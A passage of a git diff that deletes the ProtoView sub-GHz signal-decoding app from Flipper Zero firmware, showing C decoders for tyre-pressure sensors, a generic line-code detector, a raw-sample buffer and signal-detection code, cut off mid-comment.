FURI_LOG_E(TAG, "Schrader TPMS decoded bits: %lu", decoded); - - if(decoded < 64) return false; /* Require the full 8 bytes. */ - - raw[0] |= 0xf0; // Fix the preamble nibble for checksum computation. - uint8_t cksum = crc8(raw, sizeof(raw) - 1, 0xf0, 0x7); - if(cksum != raw[7]) { - FURI_LOG_E(TAG, "Schrader TPMS checksum mismatch"); - return false; - } - - info->pulses_count = (off + 8 * 8 * 2) - info->start_off; - - float kpa = (float)raw[5] * 2.5; - int temp = raw[6] - 50; - id[0] = raw[1] & 7; - id[1] = raw[2]; - id[2] = raw[3]; - id[3] = raw[4]; - - fieldset_add_bytes(info->fieldset, "Tire ID", id, 4 * 2); - fieldset_add_float(info->fieldset, "Pressure kpa", kpa, 2); - fieldset_add_int(info->fieldset, "Temperature C", temp, 8); - return true; -} - -ProtoViewDecoder SchraderTPMSDecoder = - {.name = "Schrader TPMS", .decode = decode, .get_fields = NULL, .build_message = NULL}; diff --git a/applications/external/protoview/protocols/tpms/schrader_eg53ma4.c b/applications/external/protoview/protocols/tpms/schrader_eg53ma4.c deleted file mode 100644 index b186f57b1..000000000 --- a/applications/external/protoview/protocols/tpms/schrader_eg53ma4.c +++ /dev/null @@ -1,62 +0,0 @@ -/* Copyright (C) 2022-2023 Salvatore Sanfilippo -- All Rights Reserved - * See the LICENSE file for information about the license. - * - * Schrader variant EG53MA4 TPMS. - * Usually 443.92 Mhz OOK, 100us pulse len. - * - * Preamble: alternating pulse/gap, 100us. - * Sync (as pulses and gaps): "01100101", already part of the data stream - * (first nibble) corresponding to 0x4 - * - * A total of 10 bytes payload, Manchester encoded. - * - * 0 = 01 - * 1 = 10 - * - * Used in certain Open cars and others. - */ - -#include "../../app.h" - -static bool decode(uint8_t* bits, uint32_t numbytes, uint32_t numbits, ProtoViewMsgInfo* info) { - const char* sync_pattern = "010101010101" - "01100101"; - uint8_t sync_len = 12 + 8; /* We just use 12 preamble symbols + sync. */ - if(numbits - sync_len + 8 < 8 * 10) return false; - - uint64_t off = bitmap_seek_bits(bits, numbytes, 0, numbits, sync_pattern); - if(off == BITMAP_SEEK_NOT_FOUND) return false; - FURI_LOG_E(TAG, "Schrader EG53MA4 TPMS preamble+sync found"); - - info->start_off = off; - off += sync_len - 8; /* Skip preamble, not sync that is part of the data. */ - - uint8_t raw[10]; - uint32_t decoded = convert_from_line_code( - raw, sizeof(raw), bits, numbytes, off, "01", "10"); /* Manchester code. */ - FURI_LOG_E(TAG, "Schrader EG53MA4 TPMS decoded bits: %lu", decoded); - - if(decoded < 10 * 8) return false; /* Require the full 10 bytes. */ - - /* CRC is just all bytes added mod 256. */ - uint8_t crc = 0; - for(int j = 0; j < 9; j++) crc += raw[j]; - if(crc != raw[9]) return false; /* Require sane CRC. */ - - info->pulses_count = (off + 10 * 8 * 2) - info->start_off; - - /* To convert the raw pressure to kPa, RTL433 uses 2.5, but is likely - * wrong. Searching on Google for users experimenting with the value - * reported, the value appears to be 2.75. */ - float kpa = (float)raw[7] * 2.75; - int temp_f = raw[8]; - int temp_c = (temp_f - 32) * 5 / 9; /* Convert Fahrenheit to Celsius. */ - - fieldset_add_bytes(info->fieldset, "Tire ID", raw + 4, 3 * 2); - fieldset_add_float(info->fieldset, "Pressure kpa", kpa, 2); - fieldset_add_int(info->fieldset, "Temperature C", temp_c, 8); - return true; -} - -ProtoViewDecoder SchraderEG53MA4TPMSDecoder = - {.name = "Schrader EG53MA4 TPMS", .decode = decode, .get_fields = NULL, .build_message = NULL}; diff --git a/applications/external/protoview/protocols/tpms/toyota.c b/applications/external/protoview/protocols/tpms/toyota.c deleted file mode 100644 index 3a02447b7..000000000 --- a/applications/external/protoview/protocols/tpms/toyota.c +++ /dev/null @@ -1,81 +0,0 @@ -/* Copyright (C) 2022-2023 Salvatore Sanfilippo -- All Rights Reserved - * See the LICENSE file for information about the license. - * - * Toyota tires TPMS. Usually 443.92 Mhz FSK (In Europe). - * - * Preamble + sync + 64 bits of data. ~48us short pulse length. - * - * The preamble + sync is something like: - * - * 10101010101 (preamble) + 001111[1] (sync) - * - * Note: the final [1] means that sometimes it is four 1s, sometimes - * five, depending on the short pulse length detection and the exact - * duration of the high long pulse. After the sync, a differential - * Manchester encoded payload follows. However the Flipper's CC1101 - * often can't decode correctly the initial alternating pattern 101010101, - * so what we do is to seek just the sync, that is "001111" or "0011111", - * however we now that it must be followed by one differenitally encoded - * bit, so we can use also the first symbol of data to force a more robust - * detection, and look for one of the following: - * - * [001111]00 - * [0011111]00 - * [001111]01 - * [0011111]01 - */ - -#include "../../app.h" - -static bool decode(uint8_t* bits, uint32_t numbytes, uint32_t numbits, ProtoViewMsgInfo* info) { - if(numbits - 6 < 64 * 2) - return false; /* Ask for 64 bit of data (each bit - is two symbols in the bitmap). */ - - char* sync[] = {"00111100", "001111100", "00111101", "001111101", NULL}; - - int j; - uint32_t off = 0; - for(j = 0; sync[j]; j++) { - off = bitmap_seek_bits(bits, numbytes, 0, numbits, sync[j]); - if(off != BITMAP_SEEK_NOT_FOUND) { - info->start_off = off; - off += strlen(sync[j]) - 2; - break; - } - } - if(off == BITMAP_SEEK_NOT_FOUND) return false; - - FURI_LOG_E(TAG, "Toyota TPMS sync[%s] found", sync[j]); - - uint8_t raw[9]; - uint32_t decoded = convert_from_diff_manchester(raw, sizeof(raw), bits, numbytes, off, true); - FURI_LOG_E(TAG, "Toyota TPMS decoded bits: %lu", decoded); - - if(decoded < 8 * 9) return false; /* Require the full 8 bytes. */ - if(crc8(raw, 8, 0x80, 7) != raw[8]) return false; /* Require sane CRC. */ - - /* We detected a valid signal. However now info->start_off is actually - * pointing to the sync part, not the preamble of alternating 0 and 1. - * Protoview decoders get called with some space to the left, in order - * for the decoder itself to fix the signal if neeeded, so that its - * logical representation will be more accurate and better to save - * and retransmit. */ - if(info->start_off >= 12) { - info->start_off -= 12; - bitmap_set_pattern(bits, numbytes, info->start_off, "010101010101"); - } - - info->pulses_count = (off + 8 * 9 * 2) - info->start_off; - - float psi = (float)((raw[4] & 0x7f) << 1 | raw[5] >> 7) * 0.25 - 7; - int temp = ((raw[5] & 0x7f) << 1 | raw[6] >> 7) - 40; - - fieldset_add_bytes(info->fieldset, "Tire ID", raw, 4 * 2); - fieldset_add_float(info->fieldset, "Pressure psi", psi, 2); - fieldset_add_int(info->fieldset, "Temperature C", temp, 8); - return true; -} - -ProtoViewDecoder ToyotaTPMSDecoder = - {.name = "Toyota TPMS", .decode = decode, .get_fields = NULL, .build_message = NULL}; diff --git a/applications/external/protoview/protocols/unknown.c b/applications/external/protoview/protocols/unknown.c deleted file mode 100644 index ec87d59b9..000000000 --- a/applications/external/protoview/protocols/unknown.c +++ /dev/null @@ -1,326 +0,0 @@ -#include "../app.h" - -/* Copyright (C) 2023 Salvatore Sanfilippo -- All Rights Reserved - * See the LICENSE file for information about the license. - * - * ---------------------------------------------------------------------------- - * The "unknown" decoder fires as the last one, once we are sure no other - * decoder was able to identify the signal. The goal is to detect the - * preamble and line code used in the received signal, then turn the - * decoded bits into bytes. - * - * The techniques used for the detection are described in the comments - * below. - * ---------------------------------------------------------------------------- - */ - -/* Scan the signal bitmap looking for a PWM modulation. In this case - * for PWM we are referring to two exact patterns of high and low - * signal (each bit in the bitmap is worth the smallest gap/pulse duration - * we detected) that repeat each other in a given segment of the message. - * - * This modulation is quite common, for instance sometimes zero and - * one are rappresented by a 700us pulse followed by 350 gap, - * and 350us pulse followed by a 700us gap. So the signal bitmap received - * by the decoder would contain 110 and 100 symbols. - * - * The way this function work is commented inline. - * - * The function returns the number of consecutive symbols found, having - * a symbol length of 'symlen' (3 in the above example), and stores - * in *s1i the offset of the first symbol found, and in *s2i the offset - * of the second symbol. The function can't tell which is one and which - * zero. */ -static uint32_t find_pwm( - uint8_t* bits, - uint32_t numbytes, - uint32_t numbits, - uint32_t symlen, - uint32_t* s1i, - uint32_t* s2i) { - uint32_t best_count = 0; /* Max number of symbols found in this try. */ - uint32_t best_idx1 = 0; /* First symbol offset of longest sequence found. - * This is also the start sequence offset. */ - uint32_t best_idx2 = 0; /* Second symbol offset. */ - - /* Try all the possible symbol offsets that are less of our - * symbol len. This is likely not really useful but we take - * a conservative approach. Because if have have, for instance, - * repeating symbols "100" and "110", they will form a sequence - * that is choerent at different offsets, but out-of-sync. - * - * Anyway at the end of the function we try to fix the sync. */ - for(uint32_t off = 0; off < symlen; off++) { - uint32_t c = 0; // Number of contiguous symbols found. - uint32_t c1 = 0, c2 = 0; // Occurrences of first/second symbol. - *s1i = off; // Assume we start at one symbol boundaty. - *s2i = UINT32_MAX; // Second symbol first index still unknown. - uint32_t next = off; - - /* We scan the whole bitmap in one pass, resetting the state - * each time we find a pattern that is not one of the two - * symbols we found so far. */ - while(next < numbits - symlen) { - bool match1 = bitmap_match_bitmap(bits, numbytes, next, bits, numbytes, *s1i, symlen); - if(!match1 && *s2i == UINT32_MAX) { - /* It's not the first sybol. We don't know how the - * second look like. Assume we found an occurrence of - * the second symbol. */ - *s2i = next; - } - - bool match2 = bitmap_match_bitmap(bits, numbytes, next, bits, numbytes, *s2i, symlen); - - /* One or the other should match. */ - if(match1 || match2) { - c++; - if(match1) c1++; - if(match2) c2++; - if(c > best_count && c1 >= best_count / 5 && // Require enough presence of both - c2 >= best_count / 5) // zero and one. - { - best_count = c; - best_idx1 = *s1i; - best_idx2 = *s2i; - } - next += symlen; - } else { - /* No match. Continue resetting the signal info. */ - c = 0; // Start again to count contiguous symbols. - c1 = 0; - c2 = 0; - *s1i = next; // First symbol always at start. - *s2i = UINT32_MAX; // Second symbol unknown. - } - } - } - - /* We don't know if we are really synchronized with the bits at this point. - * For example if zero bit is 100 and one bit is 110 in a specific - * line code, our detector could randomly believe it's 001 and 101. - * However PWD line codes normally start with a pulse in both symbols. - * If that is the case, let's align. */ - uint32_t shift; - for(shift = 0; shift < symlen; shift++) { - if(bitmap_get(bits, numbytes, best_idx1 + shift) && - bitmap_get(bits, numbytes, best_idx2 + shift)) - break; - } - if(shift != symlen) { - best_idx1 += shift; - best_idx2 += shift; - } - - *s1i = best_idx1; - *s2i = best_idx2; - return best_count; -} - -/* Find the longest sequence that looks like Manchester coding. - * - * Manchester coding requires each pairs of bits to be either - * 01 or 10. We'll have to try odd and even offsets to be - * sure to find it. - * - * Note that this will also detect differential Manchester, but - * will report it as Manchester. I can't think of any way to - * distinguish between the two line codes, because shifting them - * one symbol will make one to look like the other. - * - * Only option could be to decode the message with both line - * codes and use statistical properties (common byte values) - * to determine what's more likely, but this looks very fragile. - * - * Fortunately differential Manchester is more rarely used, - * so we can assume Manchester most of the times. Yet we are left - * with the indetermination about zero being pulse-gap or gap-pulse - * or the other way around. - * - * If the 'only_raising' parameter is true, the function detects - * only sequences going from gap to pulse: this is useful in order - * to locate preambles of alternating gaps and pulses. */ -static uint32_t find_alternating_bits( - uint8_t* bits, - uint32_t numbytes, - uint32_t numbits, - uint32_t* start, - bool only_raising) { - uint32_t best_count = 0; // Max number of symbols found - uint32_t best_off = 0; // Max symbols start offset. - for(int odd = 0; odd < 2; odd++) { - uint32_t count = 0; // Symbols found so far - uint32_t start_off = odd; - uint32_t j = odd; - while(j < numbits - 1) { - bool bit1 = bitmap_get(bits, numbytes, j); - bool bit2 = bitmap_get(bits, numbytes, j + 1); - if((!only_raising && bit1 != bit2) || (only_raising && !bit1 && bit2)) { - count++; - if(count > best_count) { - best_count = count; - best_off = start_off; - } - } else { - /* End of sequence. Continue with the next - * part of the signal. */ - count = 0; - start_off = j + 2; - } - j += 2; - } - } - *start = best_off; - return best_count; -} - -/* Wrapper to find Manchester code. */ -static uint32_t - find_manchester(uint8_t* bits, uint32_t numbytes, uint32_t numbits, uint32_t* start) { - return find_alternating_bits(bits, numbytes, numbits, start, false); -} - -/* Wrapper to find preamble sections. */ -static uint32_t - find_preamble(uint8_t* bits, uint32_t numbytes, uint32_t numbits, uint32_t* start) { - return find_alternating_bits(bits, numbytes, numbits, start, true); -} - -typedef enum { - LineCodeNone, - LineCodeManchester, - LineCodePWM3, - LineCodePWM4, -} LineCodeGuess; - -static char* get_linecode_name(LineCodeGuess lc) { - switch(lc) { - case LineCodeNone: - return "none"; - case LineCodeManchester: - return "Manchester"; - case LineCodePWM3: - return "PWM3"; - case LineCodePWM4: - return "PWM4"; - } - return "unknown"; -} - -static bool decode(uint8_t* bits, uint32_t numbytes, uint32_t numbits, ProtoViewMsgInfo* info) { - /* No decoder was able to detect this message. Let's try if we can - * find some structure. To start, we'll see if it looks like is - * manchester coded, or PWM with symbol len of 3 or 4. */ - - /* For PWM, start1 and start2 are the offsets at which the two - * sequences composing the message appear the first time. - * So start1 is also the message start offset. Start2 is not used - * for Manchester, that does not have two separated symbols like - * PWM. */ - uint32_t start1 = 0, start2 = 0; - uint32_t msgbits; // Number of message bits in the bitmap, so - // this will be the number of symbols, not actual - // bits after the message is decoded. - uint32_t tmp1, tmp2; // Temp vars to store the start. - uint32_t minbits = 16; // Less than that gets undetected. - uint32_t pwm_len; // Bits per symbol, in the case of PWM. - LineCodeGuess linecode = LineCodeNone; - - // Try PWM3 - uint32_t pwm3_bits = find_pwm(bits, numbytes, numbits, 3, &tmp1, &tmp2); - if(pwm3_bits >= minbits) { - linecode = LineCodePWM3; - start1 = tmp1; - start2 = tmp2; - pwm_len = 3; - msgbits = pwm3_bits * pwm_len; - } - - // Try PWM4 - uint32_t pwm4_bits = find_pwm(bits, numbytes, numbits, 4, &tmp1, &tmp2); - if(pwm4_bits >= minbits && pwm4_bits > pwm3_bits) { - linecode = LineCodePWM4; - start1 = tmp1; - start2 = tmp2; - pwm_len = 4; - msgbits = pwm3_bits * pwm_len; - } - - // Try Manchester - uint32_t manchester_bits = find_manchester(bits, numbytes, numbits, &tmp1); - if(manchester_bits > minbits && manchester_bits > pwm3_bits && manchester_bits > pwm4_bits) { - linecode = LineCodeManchester; - start1 = tmp1; - msgbits = manchester_bits * 2; - //FURI_LOG_T(TAG, "MANCHESTER START: %lu", tmp1); - } - - if(linecode == LineCodeNone) return false; - - /* Often there is a preamble before the signal. We'll try to find - * it, and if it is not too far away from our signal, we'll claim - * our signal starts at the preamble. */ - uint32_t preamble_len = find_preamble(bits, numbytes, numbits, &tmp1); - uint32_t min_preamble_len = 10; - uint32_t max_preamble_distance = 32; - uint32_t preamble_start = 0; - bool preamble_found = false; - - /* Note that because of the following checks, if the Manchester detector - * detected the preamble bits as data, we are ok with that, since it - * means that the synchronization is not designed to "break" the bits - * flow. In this case we ignore the preamble and return all as data. */ - if(preamble_len >= min_preamble_len && // Not too short. - tmp1 < start1 && // Should be before the data. - start1 - tmp1 <= max_preamble_distance) // Not too far. - { - preamble_start = tmp1; - preamble_found = true; - } - - info->start_off = preamble_found ? preamble_start : start1; - info->pulses_count = (start1 + msgbits) - info->start_off; - info->pulses_count += 20; /* Add a few more, so that if the user resends - * the message, it is more likely we will - * transfer all that is needed, like a message - * terminator (that we don't detect). */ - - /*if(preamble_found) FURI_LOG_T(TAG, "PREAMBLE AT: %lu", preamble_start); - FURI_LOG_T(TAG, "START: %lu", info->start_off); - FURI_LOG_T(TAG, "MSGBITS: %lu", msgbits); - FURI_LOG_T(TAG, "DATASTART: %lu", start1); - FURI_LOG_T(TAG, "PULSES: %lu", info->pulses_count);*/ - - /* We think there is a message and we know where it starts and the - * line code used. We can turn it into bits and bytes. */ - uint32_t decoded; - uint8_t data[32]; - uint32_t datalen; - - char symbol1[5], symbol2[5]; - if(linecode == LineCodePWM3 || linecode == LineCodePWM4) { - bitmap_to_string(symbol1, bits, numbytes, start1, pwm_len); - bitmap_to_string(symbol2, bits, numbytes, start2, pwm_len); - } else if(linecode == LineCodeManchester) { - memcpy(symbol1, "01", 3); - memcpy(symbol2, "10", 3); - } - - decoded = convert_from_line_code(data, sizeof(data), bits, numbytes, start1, symbol1, symbol2); - datalen = (decoded + 7) / 8; - - char* linecode_name = get_linecode_name(linecode); - fieldset_add_str(info->fieldset, "line code", linecode_name, strlen(linecode_name)); - fieldset_add_uint(info->fieldset, "data bits", decoded, 8); - if(preamble_found) fieldset_add_uint(info->fieldset, "preamble len", preamble_len, 8); - fieldset_add_str(info->fieldset, "first symbol", symbol1, strlen(symbol1)); - fieldset_add_str(info->fieldset, "second symbol", symbol2, strlen(symbol2)); - for(uint32_t j = 0; j < datalen; j++) { - char label[16]; - snprintf(label, sizeof(label), "data[%lu]", j); - fieldset_add_bytes(info->fieldset, label, data + j, 2); - } - return true; -} - -ProtoViewDecoder UnknownDecoder = - {.name = "Unknown", .decode = decode, .get_fields = NULL, .build_message = NULL}; diff --git a/applications/external/protoview/raw_samples.c b/applications/external/protoview/raw_samples.c deleted file mode 100644 index 54773f43f..000000000 --- a/applications/external/protoview/raw_samples.c +++ /dev/null @@ -1,93 +0,0 @@ -/* Copyright (C) 2022-2023 Salvatore Sanfilippo -- All Rights Reserved - * See the LICENSE file for information about the license. */ - -#include -#include -#include -#include -#include "raw_samples.h" - -/* Allocate and initialize a samples buffer. */ -RawSamplesBuffer* raw_samples_alloc(void) { - RawSamplesBuffer* buf = malloc(sizeof(*buf)); - buf->mutex = furi_mutex_alloc(FuriMutexTypeNormal); - raw_samples_reset(buf); - return buf; -} - -/* Free a sample buffer. Should be called when the mutex is released. */ -void raw_samples_free(RawSamplesBuffer* s) { - furi_mutex_free(s->mutex); - free(s); -} - -/* This just set all the samples to zero and also resets the internal - * index. There is no need to call it after raw_samples_alloc(), but only - * when one wants to reset the whole buffer of samples. */ -void raw_samples_reset(RawSamplesBuffer* s) { - furi_mutex_acquire(s->mutex, FuriWaitForever); - s->total = RAW_SAMPLES_NUM; - s->idx = 0; - s->short_pulse_dur = 0; - memset(s->samples, 0, sizeof(s->samples)); - furi_mutex_release(s->mutex); -} - -/* Set the raw sample internal index so that what is currently at - * offset 'offset', will appear to be at 0 index. */ -void raw_samples_center(RawSamplesBuffer* s, uint32_t offset) { - s->idx = (s->idx + offset) % RAW_SAMPLES_NUM; -} - -/* Add the specified sample in the circular buffer. */ -void raw_samples_add(RawSamplesBuffer* s, bool level, uint32_t dur) { - furi_mutex_acquire(s->mutex, FuriWaitForever); - s->samples[s->idx].level = level; - s->samples[s->idx].dur = dur; - s->idx = (s->idx + 1) % RAW_SAMPLES_NUM; - furi_mutex_release(s->mutex); -} - -/* This is like raw_samples_add(), however in case a sample of the - * same level of the previous one is added, the duration of the last - * sample is updated instead. Needed mainly for the decoders build_message() - * methods: it is simpler to write an encoder of a signal like that, - * just creating messages piece by piece. - * - * This function is a bit slower so the internal data sampling should - * be performed with raw_samples_add(). */ -void raw_samples_add_or_update(RawSamplesBuffer* s, bool level, uint32_t dur) { - furi_mutex_acquire(s->mutex, FuriWaitForever); - uint32_t previdx = (s->idx - 1) % RAW_SAMPLES_NUM; - if(s->samples[previdx].level == level && s->samples[previdx].dur != 0) { - /* Update the last sample: it has the same level. */ - s->samples[previdx].dur += dur; - } else { - /* Add a new sample. */ - s->samples[s->idx].level = level; - s->samples[s->idx].dur = dur; - s->idx = (s->idx + 1) % RAW_SAMPLES_NUM; - } - furi_mutex_release(s->mutex); -} - -/* Get the sample from the buffer. It is possible to use out of range indexes - * as 'idx' because the modulo operation will rewind back from the start. */ -void raw_samples_get(RawSamplesBuffer* s, uint32_t idx, bool* level, uint32_t* dur) { - furi_mutex_acquire(s->mutex, FuriWaitForever); - idx = (s->idx + idx) % RAW_SAMPLES_NUM; - *level = s->samples[idx].level; - *dur = s->samples[idx].dur; - furi_mutex_release(s->mutex); -} - -/* Copy one buffer to the other, including current index. */ -void raw_samples_copy(RawSamplesBuffer* dst, RawSamplesBuffer* src) { - furi_mutex_acquire(src->mutex, FuriWaitForever); - furi_mutex_acquire(dst->mutex, FuriWaitForever); - dst->idx = src->idx; - dst->short_pulse_dur = src->short_pulse_dur; - memcpy(dst->samples, src->samples, sizeof(dst->samples)); - furi_mutex_release(src->mutex); - furi_mutex_release(dst->mutex); -} diff --git a/applications/external/protoview/raw_samples.h b/applications/external/protoview/raw_samples.h deleted file mode 100644 index 3493f07fd..000000000 --- a/applications/external/protoview/raw_samples.h +++ /dev/null @@ -1,33 +0,0 @@ -/* Copyright (C) 2022-2023 Salvatore Sanfilippo -- All Rights Reserved - * See the LICENSE file for information about the license. */ - -/* Our circular buffer of raw samples, used in order to display - * the signal. */ - -#define RAW_SAMPLES_NUM \ - 2048 /* Use a power of two: we take the modulo - of the index quite often to normalize inside - the range, and division is slow. */ -typedef struct RawSamplesBuffer { - FuriMutex* mutex; - struct { - uint16_t level : 1; - uint16_t dur : 15; - } samples[RAW_SAMPLES_NUM]; - uint32_t idx; /* Current idx (next to write). */ - uint32_t total; /* Total samples: same as RAW_SAMPLES_NUM, we provide - this field for a cleaner interface with the user, but - we always use RAW_SAMPLES_NUM when taking the modulo so - the compiler can optimize % as bit masking. */ - /* Signal features. */ - uint32_t short_pulse_dur; /* Duration of the shortest pulse. */ -} RawSamplesBuffer; - -RawSamplesBuffer* raw_samples_alloc(void); -void raw_samples_reset(RawSamplesBuffer* s); -void raw_samples_center(RawSamplesBuffer* s, uint32_t offset); -void raw_samples_add(RawSamplesBuffer* s, bool level, uint32_t dur); -void raw_samples_add_or_update(RawSamplesBuffer* s, bool level, uint32_t dur); -void raw_samples_get(RawSamplesBuffer* s, uint32_t idx, bool* level, uint32_t* dur); -void raw_samples_copy(RawSamplesBuffer* dst, RawSamplesBuffer* src); -void raw_samples_free(RawSamplesBuffer* s); diff --git a/applications/external/protoview/signal.c b/applications/external/protoview/signal.c deleted file mode 100644 index 71fbe823f..000000000 --- a/applications/external/protoview/signal.c +++ /dev/null @@ -1,692 +0,0 @@ -/* Copyright (C) 2022-2023 Salvatore Sanfilippo -- All Rights Reserved - * See the LICENSE file for information about the license. */ - -#include "app.h" - -bool decode_signal(RawSamplesBuffer* s, uint64_t len, ProtoViewMsgInfo* info); - -/* ============================================================================= - * Protocols table. - * - * Supported protocols go here, with the relevant implementation inside - * protocols/.c - * ===========================================================================*/ - -extern ProtoViewDecoder Oregon2Decoder; -extern ProtoViewDecoder B4B1Decoder; -extern ProtoViewDecoder RenaultTPMSDecoder; -extern ProtoViewDecoder ToyotaTPMSDecoder; -extern ProtoViewDecoder SchraderTPMSDecoder; -extern ProtoViewDecoder SchraderEG53MA4TPMSDecoder; -extern ProtoViewDecoder CitroenTPMSDecoder; -extern ProtoViewDecoder FordTPMSDecoder; -extern ProtoViewDecoder KeeloqDecoder; -extern ProtoViewDecoder ProtoViewChatDecoder; -extern ProtoViewDecoder UnknownDecoder; - -ProtoViewDecoder* Decoders[] = { - &Oregon2Decoder, /* Oregon sensors v2.1 protocol. */ - &B4B1Decoder, /* PT, SC, ... 24 bits remotes. */ - &RenaultTPMSDecoder, /* Renault TPMS. */ - &ToyotaTPMSDecoder, /* Toyota TPMS. */ - &SchraderTPMSDecoder, /* Schrader TPMS. */ - &SchraderEG53MA4TPMSDecoder, /* Schrader EG53MA4 TPMS. */ - &CitroenTPMSDecoder, /* Citroen TPMS. */ - &FordTPMSDecoder, /* Ford TPMS. */ - &KeeloqDecoder, /* Keeloq remote. */ - &ProtoViewChatDecoder, /* Protoview simple text messages. */ - - /* Warning: the following decoder must stay at the end of the - * list. Otherwise would detect most signals and prevent the actaul - * decoders from handling them. */ - &UnknownDecoder, /* General protocol detector. */ - NULL}; - -/* ============================================================================= - * Raw signal detection - * ===========================================================================*/ - -/* Return the time difference between a and b, always >= 0 since - * the absolute value is returned. */ -uint32_t duration_delta(uint32_t a, uint32_t b) { - return a > b ? a - b : b - a; -} - -/* Reset the current signal, so that a new one can be detected. */ -void reset_current_signal(ProtoViewApp* app) { - app->signal_bestlen = 0; - app->signal_offset = 0; - app->signal_decoded = false; - raw_samples_reset(DetectedSamples); - raw_samples_reset(RawSamples); - free_msg_info(app->msg_info); - app->msg_info = NULL; -} - -/* This function starts scanning samples at offset idx looking for the - * longest run of pulses, either high or low, that are not much different - * from each other, for a maximum of three duration classes. - * So for instance 50 successive pulses that are roughly long 340us or 670us - * will be sensed as a coherent signal (example: 312, 361, 700, 334, 667, ...) - * - * The classes are counted separtely for high and low signals (RF on / off) - * because many devices tend to have different pulse lenghts depending on - * the level of the pulse. - * - * For instance Oregon2 sensors, in the case of protocol 2.1 will send - * pulses of ~400us (RF on) VS ~580us (RF off). */ -#define SEARCH_CLASSES 3 -uint32_t search_coherent_signal(RawSamplesBuffer* s, uint32_t idx, uint32_t min_duration) { - struct { - uint32_t dur[2]; /* dur[0] = low, dur[1] = high */ - uint32_t count[2]; /* Associated observed frequency. */ - } classes[SEARCH_CLASSES]; - - memset(classes, 0, sizeof(classes)); - - // Set a min/max duration limit for samples to be considered part of a - // coherent signal. The maximum length is fixed while the minimum - // is passed as argument, as depends on the data rate and in general - // on the signal to analyze. - uint32_t max_duration = 4000; - - uint32_t len = 0; /* Observed len of coherent samples. */ - s->short_pulse_dur = 0; - for(uint32_t j = idx; j < idx + s->total; j++) { - bool level; - uint32_t dur; - raw_samples_get(s, j, &level, &dur); - - if(dur < min_duration || dur > max_duration) break; /* return. */ - - /* Let's see if it matches a class we already have or if we - * can populate a new (yet empty) class. */ - uint32_t k; - for(k = 0; k < SEARCH_CLASSES; k++) { - if(classes[k].count[level] == 0) { - classes[k].dur[level] = dur; - classes[k].count[level] = 1; - break; /* Sample accepted. */ - } else { - uint32_t classavg = classes[k].dur[level]; - uint32_t count = classes[k].count[level]; - uint32_t delta = duration_delta(dur, classavg); - /* Is the difference in duration between this signal and - * the class we are inspecting less than a given percentage? - * If so, accept this signal. */ - if(delta < classavg / 5) { /* 100%/5 = 20%. */ - /* It is useful to compute the average of the class - * we are observing. We know how many samples we got so - * far, so we can recompute the average easily. - * By always having a better estimate of the pulse len - * we can avoid missing next samples in case the first - * observed samples are too off. */ - classavg = ((classavg * count) + dur) / (count + 1); - classes[k].dur[level] = classavg; - classes[k].count[level]++; - break; /* Sample accepted. */ - } - } - } - - if(k == SEARCH_CLASSES) break; /* No match, return. */ - - /* If we are here, we accepted this sample. Try with the next - * one. */ - len++; - } - - /* Update the buffer setting the shortest pulse we found - * among the three classes. This will be used when scaling - * for visualization. */ - uint32_t short_dur[2] = {0, 0}; - for(int j = 0; j < SEARCH_CLASSES; j++) { - for(int level = 0; level < 2; level++) { - if(classes[j].dur[level] == 0) continue; - if(classes[j].count[level] < 3) continue; - if(short_dur[level] == 0 || short_dur[level] > classes[j].dur[level]) { - short_dur[level] = classes[j].dur[level]; - } - } - } - - /* Use the average between high and low short pulses duration. - * Often they are a bit different, and using the average is more robust - * when we do decoding sampling at short_pulse_dur intervals. */ - if(short_dur[0] == 0) short_dur[0] = short_dur[1]; - if(short_dur[1] == 0) short_dur[1] = short_dur[0]; - s->short_pulse_dur = (short_dur[0] + short_dur[1]) / 2; - - return len; -} - -/* Called when we detect a message. Just blinks when the message was - * not decoded. Vibrates, too, when the message was correctly decoded. */ -void notify_signal_detected(ProtoViewApp* app, bool decoded) { - static const NotificationSequence decoded_seq = { - &message_vibro_on, - &message_green_255, - &message_delay_50, - &message_green_0, - &message_vibro_off, - NULL}; - - static const NotificationSequence unknown_seq = { - &message_red_255, &message_delay_50, &message_red_0, NULL}; - - if(decoded) - notification_message(app->notification, &decoded_seq); - else - notification_message(app->notification, &unknown_seq); -} - -/* Search the source buffer with the stored signal (last N samples received) - * in order to find a coherent signal. If a signal that does not appear to - * be just noise is found, it is set in DetectedSamples global signal - * buffer, that is what is rendered on the screen. */ -void scan_for_signal(ProtoViewApp* app, RawSamplesBuffer* source, uint32_t min_duration) { - /* We need to work on a copy: the source buffer may be populated - * by the background thread receiving data. */ - RawSamplesBuffer* copy = raw_samples_alloc(); - raw_samples_copy(copy, source); - - /* Try to seek on data that looks to have a regular high low high low - * pattern. */ - uint32_t minlen = 18; /* Min run of coherent samples. With less - than a few samples it's very easy to - mistake noise for signal. */ - - uint32_t i = 0; - - while(i < copy->total - 1) { - uint32_t thislen = search_coherent_signal(copy, i, min_duration); - - /* For messages that are long enough, attempt decoding. */ - if(thislen > minlen) { - /* Allocate the message information that some decoder may - * fill, in case it is able to decode a message. */ - ProtoViewMsgInfo* info = malloc(sizeof(ProtoViewMsgInfo)); - init_msg_info(info, app); - info->short_pulse_dur = copy->short_pulse_dur; - - uint32_t saved_idx = copy->idx; /* Save index, see later. */ - - /* decode_signal() expects the detected signal to start - * from index zero .*/ - raw_samples_center(copy, i); - bool decoded = decode_signal(copy, thislen, info); - copy->idx = saved_idx; /* Restore the index as we are scanning - the signal in the loop. */ - - /* Accept this signal as the new signal if either it's longer - * than the previous undecoded one, or the previous one was - * unknown and this is decoded. */ - bool oldsignal_not_decoded = app->signal_decoded == false || - app->msg_info->decoder == &UnknownDecoder; - - if(oldsignal_not_decoded && - (thislen > app->signal_bestlen || (decoded && info->decoder != &UnknownDecoder))) { - free_msg_info(app->msg_info); - app->msg_info = info; - app->signal_bestlen = thislen; - app->signal_decoded = decoded; - raw_samples_copy(DetectedSamples, copy); - raw_samples_center(DetectedSamples, i); - FURI_LOG_E( - TAG, - "===> Displayed sample updated (%d samples %lu us)", - (int)thislen, - DetectedSamples->short_pulse_dur); - - adjust_raw_view_scale(app, DetectedSamples->short_pulse_dur); - if(app->msg_info->decoder != &UnknownDecoder) notify_signal_detected(app, decoded); - } else { - /* If the structure was not filled, discard it. Otherwise - * now the owner is app->msg_info. */ - free_msg_info(info); - } - } - i += thislen ? thislen : 1; - } - raw_samples_free(copy); -} - -/* ============================================================================= - * Decoding - * - * The following code will translates the raw singals as received by - * the CC1101 into logical signals: a bitmap of 0s and 1s sampled at - * the detected data clock interval. - * - * Then the converted signal is passed to the protocols decoders, that look - * for protocol-specific information. We stop at the first decoder that is 